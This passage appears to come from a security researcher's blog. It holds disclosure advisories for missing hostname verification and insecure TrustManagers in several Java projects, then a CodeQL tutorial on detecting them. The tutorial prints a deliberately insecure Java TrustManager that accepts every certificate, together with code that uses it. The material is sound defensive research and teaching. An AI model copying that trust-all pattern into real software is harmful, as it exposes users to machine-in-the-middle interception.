<p>Commit <a href="https://github.com/apache/calcite/commit/ab19f98172848fe303a18173946c2def0b0d0312">ab19f981</a></p>

<h1 id="details">Details</h1>

<p>The <a href="https://github.com/apache/calcite/blob/ab19f98172848fe303a18173946c2def0b0d0312/core/src/main/java/org/apache/calcite/runtime/HttpUtils.java#L50">HttpUtils#getURLConnection</a> disables hostname verification by using a hostname verifier that accepts all hostnames by always returning <code class="language-plaintext highlighter-rouge">true</code>. The method also uses an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> that <a href="https://github.com/apache/calcite/blob/ab19f98172848fe303a18173946c2def0b0d0312/core/src/main/java/org/apache/calcite/runtime/HttpUtils.java#L50">trusts all certificates</a> even self-signed certificates.</p>

<p>Disabled hostname verification allows an attacker to use any valid certificate when intercepting a connection. Even when the hostname of the certificate does <strong>NOT</strong> match the hostname of the connection.
An insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> allows an attacker to create a self-signed certificate that matches the hostname of the intercepted connection.</p>

<h2 id="impact">Impact</h2>

<p>Machine-in-the-middle attack.</p>

<h1 id="cve">CVE</h1>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-13955">CVE-2020-13955</a></p>

<h1 id="github-advisories">Github Advisories</h1>

<p><a href="https://github.com/advisories/GHSA-hxp5-8pgq-mgv9">GHSA-hxp5-8pgq-mgv9</a></p>

<h1 id="coordinated-disclosure-timeline">Coordinated Disclosure Timeline</h1>

<ul>
  <li>2020-08-13: Sent a mail to security@apache.org.</li>
  <li>2020-09-27: CVE id is shared with me.</li>
  <li>2020-10-01: Issue is patched.</li>
  <li>2020-10-09: Advisory is published.</li>
</ul>

<h1 id="credit">Credit</h1>

<p>This issue was discovered and reported by <a href="https://github.com/intrigus-lgtm">@intrigus-lgtm</a>.</p>

<h1 id="contact">Contact</h1>

<p>You can contact the ISL at <code class="language-plaintext highlighter-rouge">isl@intrigus.org</code>. Please include a reference to <code class="language-plaintext highlighter-rouge">ISL-2020-005</code> in any communication regarding this issue.</p>]]></content><author><name>intrigus</name></author><category term="advisories" /><summary type="html"><![CDATA[The `HttpUtils#getURLConnection` function of apache/calcite before commit 43eeafc disabled hostname verification and used an insecure `TrustManager` for HTTPS connections making clients vulnerable to a machine-in-the-middle attack (MiTM).]]></summary></entry><entry><title type="html">ISL-2020-006: Missing Hostname Verification and Insecure TrustManager in apache/fineract</title><link href="https://intrigus.org/advisories/2023/11/27/ISL-2020-006-apache-fineract/" rel="alternate" type="text/html" title="ISL-2020-006: Missing Hostname Verification and Insecure TrustManager in apache/fineract" /><published>2023-11-27T00:00:00+00:00</published><updated>2023-11-27T00:00:00+00:00</updated><id>https://intrigus.org/advisories/2023/11/27/ISL-2020-006-apache-fineract</id><content type="html" xml:base="https://intrigus.org/advisories/2023/11/27/ISL-2020-006-apache-fineract/"><![CDATA[<h1 id="summary">Summary</h1>

<p>apache/fineract disabled hostname verification and used an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> for HTTPS connections making clients vulnerable to a machine-in-the-middle attack (MiTM).</p>

<h1 id="product">Product</h1>

<p><a href="https://github.com/apache/fineract">apache/fineract</a></p>

<h1 id="tested-version">Tested Version</h1>

<p>Commit <a href="https://github.com/apache/fineract/commit/d83bdc41661ce3163231cf94d7a424da044c8b84">d83bdc41</a></p>

<h1 id="details">Details</h1>

<p>The <a href="https://github.com/apache/fineract/blob/d83bdc41661ce3163231cf94d7a424da044c8b84/fineract-provider/src/main/java/org/apache/fineract/infrastructure/hooks/processor/ProcessorHelper.java#L76-L83">ProcessorHelper#configureClient</a> method disables hostname verification by using a hostname verifier that accepts all hostnames by always returning <code class="language-plaintext highlighter-rouge">true</code>. The method also uses an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> that <a href="https://github.com/apache/fineract/blob/d83bdc41661ce3163231cf94d7a424da044c8b84/fineract-provider/src/main/java/org/apache/fineract/infrastructure/hooks/processor/ProcessorHelper.java#L51-L63">trusts all certificates</a> even self-signed certificates.</p>

<p>Disabled hostname verification allows an attacker to use any valid certificate when intercepting a connection. Even when the hostname of the certificate does <strong>NOT</strong> match the hostname of the connection.
An insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> allows an attacker to create a self-signed certificate that matches the hostname of the intercepted connection.</p>

<h2 id="impact">Impact</h2>

<p>Machine-in-the-middle attack.</p>

<h1 id="cve">CVE</h1>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-17514">CVE-2020-17514</a></p>

<h1 id="coordinated-disclosure-timeline">Coordinated Disclosure Timeline</h1>

<ul>
  <li>2020-10-15: Sent a mail to security@apache.org.</li>
  <li>2020-10-18: Issue is patched.</li>
  <li>2021-01-05: CVE id is shared with me.</li>
  <li>2021-05-26: Advisory is published.</li>
</ul>

<h1 id="credit">Credit</h1>

<p>This issue was discovered and reported by <a href="https://github.com/intrigus-lgtm">@intrigus-lgtm</a>.</p>

<h1 id="contact">Contact</h1>

<p>You can contact the ISL at <code class="language-plaintext highlighter-rouge">isl@intrigus.org</code>. Please include a reference to <code class="language-plaintext highlighter-rouge">ISL-2020-006</code> in any communication regarding this issue.</p>]]></content><author><name>intrigus</name></author><category term="advisories" /><summary type="html"><![CDATA[apache/fineract before commit e054a6f disabled hostname verification and used an insecure `TrustManager` for HTTPS connections making clients vulnerable to a machine-in-the-middle attack (MiTM).]]></summary></entry><entry><title type="html">ISL-2020-007: Missing Hostname Verification and Insecure TrustManager in opencast/opencast</title><link href="https://intrigus.org/advisories/2023/11/27/ISL-2020-007-opencast-opencast/" rel="alternate" type="text/html" title="ISL-2020-007: Missing Hostname Verification and Insecure TrustManager in opencast/opencast" /><published>2023-11-27T00:00:00+00:00</published><updated>2023-11-27T00:00:00+00:00</updated><id>https://intrigus.org/advisories/2023/11/27/ISL-2020-007-opencast-opencast</id><content type="html" xml:base="https://intrigus.org/advisories/2023/11/27/ISL-2020-007-opencast-opencast/"><![CDATA[<h1 id="summary">Summary</h1>

<p>opencast/opencast disabled hostname verification and used an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> for HTTPS connections making clients vulnerable a to machine-in-the-middle attack (MiTM).</p>

<h1 id="product">Product</h1>

<p><a href="https://github.com/opencast/opencast">opencast/opencast</a></p>

<h1 id="tested-version">Tested Version</h1>

<p>Commit <a href="https://github.com/opencast/opencast/commit/4b905437e90bd19700a6a6688f227f9efb20e153">4b905437</a></p>

<h1 id="details">Details</h1>

<p>The <a href="https://github.com/opencast/opencast/blob/4b905437e90bd19700a6a6688f227f9efb20e153/modules/kernel/src/main/java/org/opencastproject/kernel/http/impl/HttpClientImpl.java#L196-L199">HttpClientImpl</a> class disables hostname verification by using a hostname verifier that accepts all hostnames by always returning <code class="language-plaintext highlighter-rouge">true</code>. The method also uses an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> that <a href="https://github.com/opencast/opencast/blob/4b905437e90bd19700a6a6688f227f9efb20e153/modules/kernel/src/main/java/org/opencastproject/kernel/http/impl/HttpClientImpl.java#L119-L150">trusts all certificates</a> even self-signed certificates.</p>

<p>Disabled hostname verification allows an attacker to use any valid certificate when intercepting a connection. Even when the hostname of the certificate does <strong>NOT</strong> match the hostname of the connection.
An insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> allows an attacker to create a self-signed certificate that matches the hostname of the intercepted connection.</p>

<h2 id="impact">Impact</h2>

<p>Machine-in-the-middle attack.</p>

<h1 id="cve">CVE</h1>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-26234">CVE-2020-26234</a></p>

<h1 id="github-advisories">Github Advisories</h1>

<p><a href="https://github.com/advisories/GHSA-44cw-p2hm-gpf6">GHSA-44cw-p2hm-gpf6</a></p>

<h1 id="coordinated-disclosure-timeline">Coordinated Disclosure Timeline</h1>

<ul>
  <li>2020-10-16: Sent a mail to security@opencast.org.</li>
  <li>2020-11-17: CVE id is shared with me.</li>
  <li>2020-12-08: Issue is patched.</li>
  <li>2020-12-08: Advisory is published.</li>
</ul>

<h1 id="credit">Credit</h1>

<p>This issue was discovered and reported by <a href="https://github.com/intrigus-lgtm">@intrigus-lgtm</a>.</p>

<h1 id="contact">Contact</h1>

<p>You can contact the ISL at <code class="language-plaintext highlighter-rouge">isl@intrigus.org</code>. Please include a reference to <code class="language-plaintext highlighter-rouge">ISL-2020-007</code> in any communication regarding this issue.</p>]]></content><author><name>intrigus</name></author><category term="advisories" /><summary type="html"><![CDATA[opencast/opencast before commit 4225bf9 disabled hostname verification and used an insecure `TrustManager` for HTTPS connections making clients vulnerable to a machine-in-the-middle attack (MiTM).]]></summary></entry><entry><title type="html">ISL-2020-008: Missing Hostname Verification and Insecure TrustManager in openMF/mifos-mobile</title><link href="https://intrigus.org/advisories/2023/11/27/ISL-2020-008-openmf-mifos-mobile/" rel="alternate" type="text/html" title="ISL-2020-008: Missing Hostname Verification and Insecure TrustManager in openMF/mifos-mobile" /><published>2023-11-27T00:00:00+00:00</published><updated>2023-11-27T00:00:00+00:00</updated><id>https://intrigus.org/advisories/2023/11/27/ISL-2020-008-openmf-mifos-mobile</id><content type="html" xml:base="https://intrigus.org/advisories/2023/11/27/ISL-2020-008-openmf-mifos-mobile/"><![CDATA[<h1 id="summary">Summary</h1>

<p>openMF/mifos-mobile disabled hostname verification and used an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> for HTTPS connections making clients vulnerable a to machine-in-the-middle attack (MiTM).</p>

<h1 id="product">Product</h1>

<p><a href="https://github.com/openMF/mifos-mobile">openMF/mifos-mobile</a></p>

<h1 id="tested-version">Tested Version</h1>

<p>Commit <a href="https://github.com/openMF/mifos-mobile/commit/7ed4f22f2541d38f32c9e26ba075ca1b41424369">7ed4f22f</a></p>

<h1 id="details">Details</h1>

<p>The <a href="https://github.com/openMF/mifos-mobile/blob/7ed4f22f2541d38f32c9e26ba075ca1b41424369/app/src/main/java/org/mifos/mobile/api/SelfServiceOkHttpClient.kt#L64">SelfServiceOkHttpClient</a> class disables hostname verification by using a hostname verifier that accepts all hostnames by always returning <code class="language-plaintext highlighter-rouge">true</code>. The method also uses an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> that <a href="https://github.com/openMF/mifos-mobile/blob/7ed4f22f2541d38f32c9e26ba075ca1b41424369/app/src/main/java/org/mifos/mobile/api/SelfServiceOkHttpClient.kt#L25-L45">trusts all certificates</a> even self-signed certificates.</p>

<p>Disabled hostname verification allows an attacker to use any valid certificate when intercepting a connection. Even when the hostname of the certificate does <strong>NOT</strong> match the hostname of the connection.
An insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> allows an attacker to create a self-signed certificate that matches the hostname of the intercepted connection.</p>

<h2 id="impact">Impact</h2>

<p>Machine-in-the-middle attack.</p>

<h1 id="cve">CVE</h1>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-21385">CVE-2021-21385</a></p>

<h1 id="github-advisories">Github Advisories</h1>

<p><a href="https://github.com/openMF/mifos-mobile/security/advisories/GHSA-9657-33wf-rmvx">GHSA-9657-33wf-rmvx</a></p>

<h1 id="coordinated-disclosure-timeline">Coordinated Disclosure Timeline</h1>

<ul>
  <li>2020-10-18: Asked to open a security advisory.</li>
  <li>2021-03-19: CVE id is shared with me.</li>
  <li>2021-03-14: Issue is patched.</li>
  <li>2021-03-22: Advisory is published.</li>
</ul>

<h1 id="credit">Credit</h1>

<p>This issue was discovered and reported by <a href="https://github.com/intrigus-lgtm">@intrigus-lgtm</a>.</p>

<h1 id="contact">Contact</h1>

<p>You can contact the ISL at <code class="language-plaintext highlighter-rouge">isl@intrigus.org</code>. Please include a reference to <code class="language-plaintext highlighter-rouge">ISL-2020-008</code> in any communication regarding this issue.</p>]]></content><author><name>intrigus</name></author><category term="advisories" /><summary type="html"><![CDATA[openMF/mifos-mobile before commit e505f62 disabled hostname verification and used an insecure `TrustManager` for HTTPS connections making clients vulnerable to a machine-in-the-middle attack (MiTM).]]></summary></entry><entry><title type="html">ISL-2021-001: Insecure TrustManager in ballerina-platform/ballerina-lang</title><link href="https://intrigus.org/advisories/2023/11/27/ISL-2021-001-ballerina-platform-ballerina-lang/" rel="alternate" type="text/html" title="ISL-2021-001: Insecure TrustManager in ballerina-platform/ballerina-lang" /><published>2023-11-27T00:00:00+00:00</published><updated>2023-11-27T00:00:00+00:00</updated><id>https://intrigus.org/advisories/2023/11/27/ISL-2021-001-ballerina-platform-ballerina-lang</id><content type="html" xml:base="https://intrigus.org/advisories/2023/11/27/ISL-2021-001-ballerina-platform-ballerina-lang/"><![CDATA[<h1 id="summary">Summary</h1>

<p>ballerina-platform/ballerina-lang used an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> for HTTPS connections making clients vulnerable a to machine-in-the-middle attack (MiTM) and remote code execution (RCE).</p>

<h1 id="product">Product</h1>

<p><a href="https://github.com/ballerina-platform/ballerina-lang">ballerina-platform/ballerina-lang</a></p>

<h1 id="tested-version">Tested Version</h1>

<p>Commit <a href="https://github.com/ballerina-platform/ballerina-lang/commit/9a4d1967a72378636433c834ad9208e9fd32f1dd">9a4d1967</a></p>

<h1 id="details">Details</h1>

<p>The Ballerina programming language provides the <a href="https://ballerina.io/learn/cli-documentation/cli-commands/">bal</a> tool for managing everything related to Ballerina.
Dependency management is done using the <code class="language-plaintext highlighter-rouge">bal pull</code>/<code class="language-plaintext highlighter-rouge">push</code>/<code class="language-plaintext highlighter-rouge">search</code> commands that allow to download/upload packages from the central repository or search for a package.</p>

<p>I’m focusing on the <code class="language-plaintext highlighter-rouge">bal pull</code> command, the other sub-commands have the same problem and similar execution flow.
The <code class="language-plaintext highlighter-rouge">bal pull</code> command is internally represented by the <a href="https://github.com/ballerina-platform/ballerina-lang/blob/9a4d1967a72378636433c834ad9208e9fd32f1dd/cli/ballerina-cli/src/main/java/io/ballerina/cli/cmd/PullCommand.java">PullCommand</a> class which will delegate the actual work to the <a href="https://github.com/ballerina-platform/ballerina-lang/blob/9a4d1967a72378636433c834ad9208e9fd32f1dd/cli/ballerina-cli/src/main/java/io/ballerina/cli/cmd/PullCommand.java#L168">CentralAPIClient#pullPackage</a> method.
The <a href="https://github.com/ballerina-platform/ballerina-lang/blob/9a4d1967a72378636433c834ad9208e9fd32f1dd/cli/central-client/src/main/java/org/ballerinalang/central/client/CentralAPIClient.java#L292">pullPackage</a> method then calls the <a href="https://github.com/ballerina-platform/ballerina-lang/blob/9a4d1967a72378636433c834ad9208e9fd32f1dd/cli/central-client/src/main/java/org/ballerinalang/central/client/Utils.java#L299">Utils#initializeSsl</a> method which claims to “initializes SSL” but actually enables an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> (defined <a href="https://github.com/ballerina-platform/ballerina-lang/blob/9a4d1967a72378636433c834ad9208e9fd32f1dd/cli/central-client/src/main/java/org/ballerinalang/central/client/Utils.java#L78-L90">here</a>).</p>

<p>An insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> allows an attacker to create a self-signed certificate that matches the hostname of the intercepted connection.</p>

<p>After an attacker has forged such a certificate they can intercept and manipulate the requested package and include arbitrary code!
Because the issue affects both downloading and uploading of packages this could also be used for a <strong>supply-chain attack</strong>.</p>

<h2 id="impact">Impact</h2>

<p>Machine-in-the-middle attack.
Remote code execution.
Supply chain attack.</p>

<h1 id="cve">CVE</h1>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-32700">CVE-2021-32700</a></p>

<h1 id="github-advisories">Github Advisories</h1>

<p><a href="https://github.com/ballerina-platform/ballerina-lang/security/advisories/GHSA-9657-33wf-rmvx">GHSA-9657-33wf-rmvx</a></p>

<h1 id="coordinated-disclosure-timeline">Coordinated Disclosure Timeline</h1>

<ul>
  <li>2021-03-08: Sent a mail to security@ballerina.io.</li>
  <li>2021-06-04: Issue is patched.</li>
  <li>2021-06-22: CVE id is shared with me.</li>
  <li>2021-06-22: Advisory is published.</li>
</ul>

<h1 id="credit">Credit</h1>

<p>This issue was discovered and reported by <a href="https://github.com/intrigus-lgtm">@intrigus-lgtm</a>.</p>

<h1 id="contact">Contact</h1>

<p>You can contact the ISL at <code class="language-plaintext highlighter-rouge">isl@intrigus.org</code>. Please include a reference to <code class="language-plaintext highlighter-rouge">ISL-2021-001</code> in any communication regarding this issue.</p>]]></content><author><name>intrigus</name></author><category term="advisories" /><summary type="html"><![CDATA[ballerina-platform/ballerina-lang before commit d7e08e0 used an insecure `TrustManager` for HTTPS connections making clients vulnerable to a machine-in-the-middle attack (MiTM) and Remote code execution (RCE).]]></summary></entry><entry><title type="html">Finding Insecure TrustManagers and Disabled Hostname Verification with CodeQL</title><link href="https://intrigus.org/research/2023/11/27/finding-insecure-trust-managers-and-disabled-hostname-verification-with-codeql/" rel="alternate" type="text/html" title="Finding Insecure TrustManagers and Disabled Hostname Verification with CodeQL" /><published>2023-11-27T00:00:00+00:00</published><updated>2023-11-27T00:00:00+00:00</updated><id>https://intrigus.org/research/2023/11/27/finding-insecure-trust-managers-and-disabled-hostname-verification-with-codeql</id><content type="html" xml:base="https://intrigus.org/research/2023/11/27/finding-insecure-trust-managers-and-disabled-hostname-verification-with-codeql/"><![CDATA[<h1 id="finding-insecure-trustmanagers-and-disabled-hostname-verification-with-codeql">Finding Insecure TrustManagers and Disabled Hostname Verification with CodeQL</h1>
<p>In this post, I want to show how I found five vulnerabilities in usage of the Java <a href="https://docs.oracle.com/en/java/javase/21/docs/api/java.base/javax/net/ssl/TrustManager.html">TrustManager</a> and <a href="https://docs.oracle.com/en/java/javase/21/docs/api/java.base/javax/net/ssl/HostnameVerifier.html">HostnameVerifier</a> classes.</p>

<p>I start with a short section about what a certificate is, what CodeQL is, and finally I explain the query I used to find the vulnerabilities.</p>

<ol>
  <li><a href="/advisories/2023/11/27/ISL-2020-005-apache-calcite/">CVE-2020-13955</a></li>
  <li><a href="/advisories/2023/11/27/ISL-2020-006-apache-fineract/">CVE-2020-17514</a></li>
  <li><a href="/advisories/2023/11/27/ISL-2020-007-opencast-opencast/">CVE-2020-26234</a></li>
  <li><a href="/advisories/2023/11/27/ISL-2020-008-openmf-mifos-mobile/">CVE-2021-21385</a></li>
  <li><a href="/advisories/2023/11/27/ISL-2021-001-ballerina-platform-ballerina-lang/">CVE-2021-32700</a></li>
</ol>

<h2 id="what-are-certificates">What Are Certificates?</h2>
<p>A certificate associates an identity (hostname, personal identity, …) with a public key and can either be signed by a <em>Certificate Authority</em> (CA) or be self-signed.
A CA is a trusted third party that verifies the identity of the owner of the certificate and signs the certificate with their own private key.
Both browsers and operating systems come with a set of CAs that they trust by default <sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>.</p>

<p>When a client connects to a server using TLS, the server sends its certificate to the client. The client then verifies the certificate by checking whether it is <strong>signed by a trusted CA</strong> and whether <strong>the hostname of the server matches the hostname in the certificate</strong>. If the certificate is valid, the client will establish a secure and encrypted connection with the server.</p>

<h3 id="so-whats-the-problem">So What’s the Problem?</h3>
<p>The problem is that the client can be configured to trust certificates that are <strong>not signed by a trusted CA</strong> or that <strong>don’t match the hostname of the server</strong>. This is usually done for testing purposes, but it can also be done by mistake or just as an oversight.</p>

<p>Browsers usually get this right, but there have also been cases in the past where they incorrectly implemented hostname verification <sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup><sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup> or where they had other problems verifying a certificate <sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup>.</p>

<p>In this post I’m going to focus on Java applications that use the <code class="language-plaintext highlighter-rouge">TrustManager</code> or <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> classes unsafely.</p>

<h2 id="codeql">CodeQL</h2>
<p><a href="https://github.com/github/codeql">CodeQL</a> is a static analysis tool that has been developed by Semmle - now @ Github.</p>

<p>It can be used both for (targeted) <a href="https://pwning.systems/posts/sequoia-variant-analysis/">variant analysis</a> and also (less targeted) analysis of entire bug classes like XSS, SSRF, and many more.</p>

<p>CodeQL has a simple but powerful, logical query language.
If you want to learn more about CodeQL I recommend reading the <a href="https://codeql.github.com/docs/">CodeQL documentation</a>.</p>

<h2 id="finding-insecure-trustmanagers">Finding Insecure TrustManagers</h2>
<p>So what is an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code>?
A <code class="language-plaintext highlighter-rouge">TrustManager</code> is insecure if it accepts all certificates, regardless of whether they are signed by a trusted CA or not.
This is usually done by implementing the <code class="language-plaintext highlighter-rouge">checkServerTrusted</code> method of the <code class="language-plaintext highlighter-rouge">X509TrustManager</code> interface and never throwing an exception – therefore accepting all certificates.
In code this would look like this:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">InsecureTrustManager</span> <span class="kd">implements</span> <span class="nc">X509TrustManager</span> <span class="o">{</span>
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">X509Certificate</span><span class="o">[]</span> <span class="nf">getAcceptedIssuers</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">checkServerTrusted</span><span class="o">(</span><span class="nc">X509Certificate</span><span class="o">[]</span> <span class="n">chain</span><span class="o">,</span> <span class="nc">String</span> <span class="n">authType</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">CertificateException</span> <span class="o">{</span>
        <span class="c1">// BAD: Does not verify the certificate chain, allowing any certificate.</span>
    <span class="o">}</span>
    
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">checkClientTrusted</span><span class="o">(</span><span class="nc">X509Certificate</span><span class="o">[]</span> <span class="n">chain</span><span class="o">,</span> <span class="nc">String</span> <span class="n">authType</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">CertificateException</span> <span class="o">{</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>If we then use this <code class="language-plaintext highlighter-rouge">TrustManager</code> like so in our application:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">SSLContext</span> <span class="n">sslContext</span> <span class="o">=</span> <span class="nc">SSLContext</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"TLS"</span><span class="o">);</span>
<span class="n">sslContext</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> <span class="k">new</span> <span class="nc">TrustManager</span><span class="o">[]</span> <span class="o">{</span> <span class="k">new</span> <span class="nc">InsecureTrustManager</span><span class="o">()</span> <span class="o">},</span> <span class="kc">null</span><span class="o">);</span>

<span class="nc">HttpsURLConnection</span> <span class="n">connection</span> <span class="o">=</span> <span class="o">(</span><span class="nc">HttpsURLConnection</span><span class="o">)</span> <span class="k">new</span> <span class="no">URL</span><span class="o">(</span><span class="s">"https://untrusted-root.badssl.com/"</span><span class="o">).</span><span class="na">openConnection</span><span class="o">();</span>
<span class="n">connection</span><span class="o">.</span><span class="na">setSSLSocketFactory</span><span class="o">(</span><span class="n">sslContext</span><span class="o">.</span><span class="na">getSocketFactory</span><span class="o">());</span>
<span class="n">connection</span><span class="o">.</span><span class="na">connect</span><span class="o">();</span>
</code></pre></div></div>
<p>We will happily connect to the server even though the certificate is not signed by a trusted CA.</p>

<h3 id="the-query--high-level">The Query – High-Level</h3>
<p>When writing a query it’s very helpful to verbalize the query:</p>

<p>We want to find all cases where an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> is used to initialize an <code class="language-plaintext highlighter-rouge">SSLContext</code>.
This means that we have a data flow query and we “just” have to define the source and the sink!</p>

<p>We can directly translate this into a CodeQL <code class="language-plaintext highlighter-rouge">from</code> clause:<br />
<code class="language-plaintext highlighter-rouge">from InsecureTrustManagerFlow::PathNode source, InsecureTrustManagerFlow::PathNode sink</code><br />
<code class="language-plaintext highlighter-rouge">source</code>s are all <code class="language-plaintext highlighter-rouge">TrustManager</code> instances that are insecure and <code class="language-plaintext highlighter-rouge">sink</code>s are all <code class="language-plaintext highlighter-rouge">SSLContext</code> instances that are initialized with an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code>!</p>

<p>Our <code class="language-plaintext highlighter-rouge">where</code> clause then only has to ensure that the source is actually used at the sink, that is, we need <code class="language-plaintext highlighter-rouge">flowPath</code> to hold:<br />
<code class="language-plaintext highlighter-rouge">where InsecureTrustManagerFlow::flowPath(source, sink)</code></p>

<p>The <code class="language-plaintext highlighter-rouge">select</code> clause then adds a message at the location of the <code class="language-plaintext highlighter-rouge">SSLContext#init</code> method and also references where the trust manager has been defined:<br />
<code class="language-plaintext highlighter-rouge">select sink, source, sink, "This uses $@, which is defined in $@ and trusts any certificate.",
  source, "TrustManager",
  source.getNode().asExpr().(ClassInstanceExpr).getConstructedType() as type, type.nestedName()</code></p>

<p>The rest of the query contains a little bit of boilerplate to make the query better structured and reusable.</p>

<p>(The main query can be found <a href="https://github.com/github/codeql/blob/4f7fde7b879890009a5f955abed0a7e21dee8516/java/ql/src/Security/CWE/CWE-295/InsecureTrustManager.ql">here</a>, support files are in <a href="https://github.com/github/codeql/blob/4f7fde7b879890009a5f955abed0a7e21dee8516/java/ql/lib/semmle/code/java/security/InsecureTrustManager.qll">InsecureTrustManager.qll</a> and <a href="https://github.com/github/codeql/blob/4f7fde7b879890009a5f955abed0a7e21dee8516/java/ql/lib/semmle/code/java/security/InsecureTrustManagerQuery.qll">InsecureTrustManagerQuery.qll</a>).</p>

<h3 id="the-query--low-level">The Query – Low-Level</h3>
<p>(Some parts of the query are shown simplified)</p>

<p>The <code class="language-plaintext highlighter-rouge">InsecureTrustManagerSource</code> class models all <code class="language-plaintext highlighter-rouge">TrustManager</code> instances that are insecure on the <em>data flow level</em> <sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup> by viewing the node as an <em>expression</em> and then checking whether its constructed type <sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup> is an <code class="language-plaintext highlighter-rouge">InsecureX509TrustManager</code>.</p>
<pre><code class="language-ql">private class InsecureTrustManagerSource extends DataFlow::Node {
  InsecureTrustManagerSource() {
    this.asExpr().(ClassInstanceExpr).getConstructedType() instanceof InsecureX509TrustManager
  }
}
</code></pre>

<p><code class="language-plaintext highlighter-rouge">InsecureX509TrustManager</code> is a class that models all classes deriving from <code class="language-plaintext highlighter-rouge">X509TrustManager</code> (<code class="language-plaintext highlighter-rouge">#1</code>) that have overridden the “checkServerTrusted” method (<code class="language-plaintext highlighter-rouge">#2</code>) and that never throw a <code class="language-plaintext highlighter-rouge">CertificateException</code> (<code class="language-plaintext highlighter-rouge">#3</code>).</p>
<pre><code class="language-ql">private class InsecureX509TrustManager extends RefType {
  InsecureX509TrustManager() {
    this.getAnAncestor() instanceof X509TrustManager and // #1
    exists(Method m |
      m.getDeclaringType() = this and
      m.hasName("checkServerTrusted") and // #2
      not mayThrowCertificateException(m) // #3
    )
  }
}
</code></pre>

<p>Under what conditions can a method throw a <code class="language-plaintext highlighter-rouge">CertificateException</code>?
When it contains a <code class="language-plaintext highlighter-rouge">throw</code> statement that throws a <code class="language-plaintext highlighter-rouge">CertificateException</code> (<code class="language-plaintext highlighter-rouge">#4</code>) or when it calls a method (<code class="language-plaintext highlighter-rouge">#5</code>) that may throw a <code class="language-plaintext highlighter-rouge">CertificateException</code> (<code class="language-plaintext highlighter-rouge">#6</code>) or if there is no source code available for the called method and the method has a <code class="language-plaintext highlighter-rouge">@throws</code> annotation that mentions <code class="language-plaintext highlighter-rouge">CertificateException</code> (<code class="language-plaintext highlighter-rouge">#7</code>).</p>
<pre><code class="language-ql">private predicate mayThrowCertificateException(Method m) {
  exists(ThrowStmt throwStmt | // #4
    throwStmt.getThrownExceptionType().getAnAncestor() instanceof CertificateException // #4
  |
    throwStmt.getEnclosingCallable() = m // #4
  )
  or
  exists(Method otherMethod | m.polyCalls(otherMethod) | // #5
    mayThrowCertificateException(otherMethod) // #6
    or
    not otherMethod.fromSource() and // #7
    otherMethod.getAnException().getType().getAnAncestor() instanceof CertificateException // #7
  )
}
</code></pre>

<p>The <code class="language-plaintext highlighter-rouge">InsecureTrustManagerSink</code> class models all cases where any <code class="language-plaintext highlighter-rouge">TrustManager</code> (<code class="language-plaintext highlighter-rouge">#8</code>) is used to <code class="language-plaintext highlighter-rouge">init</code> (<code class="language-plaintext highlighter-rouge">#9</code>) an <code class="language-plaintext highlighter-rouge">SslContext</code> (<code class="language-plaintext highlighter-rouge">#10</code>).</p>
<pre><code class="language-ql">private class InsecureTrustManagerSink extends DataFlow::Node {
  InsecureTrustManagerSink() {
    exists(MethodCall ma, Method m |
      m.hasName("init") and // #9
      m.getDeclaringType() instanceof SslContext and // #10
      ma.getMethod() = m
    |
      ma.getArgument(1) = this.asExpr() // #8
    )
  }
}
</code></pre>

<p>The <code class="language-plaintext highlighter-rouge">InsecureTrustManagerConfig</code> module then simply combines the source (<code class="language-plaintext highlighter-rouge">#11</code>) and the sink (<code class="language-plaintext highlighter-rouge">#12</code>) like this:</p>
<pre><code class="language-ql">module InsecureTrustManagerConfig implements DataFlow::ConfigSig {
  predicate isSource(DataFlow::Node source) { source instanceof InsecureTrustManagerSource } // #11

  predicate isSink(DataFlow::Node sink) { sink instanceof InsecureTrustManagerSink } // #12
}
</code></pre>

<p>However, we have a slight problem:
remember that we have a <em>data flow query</em> and not a <em>taint tracking query</em>.
Recall the example from above:</p>
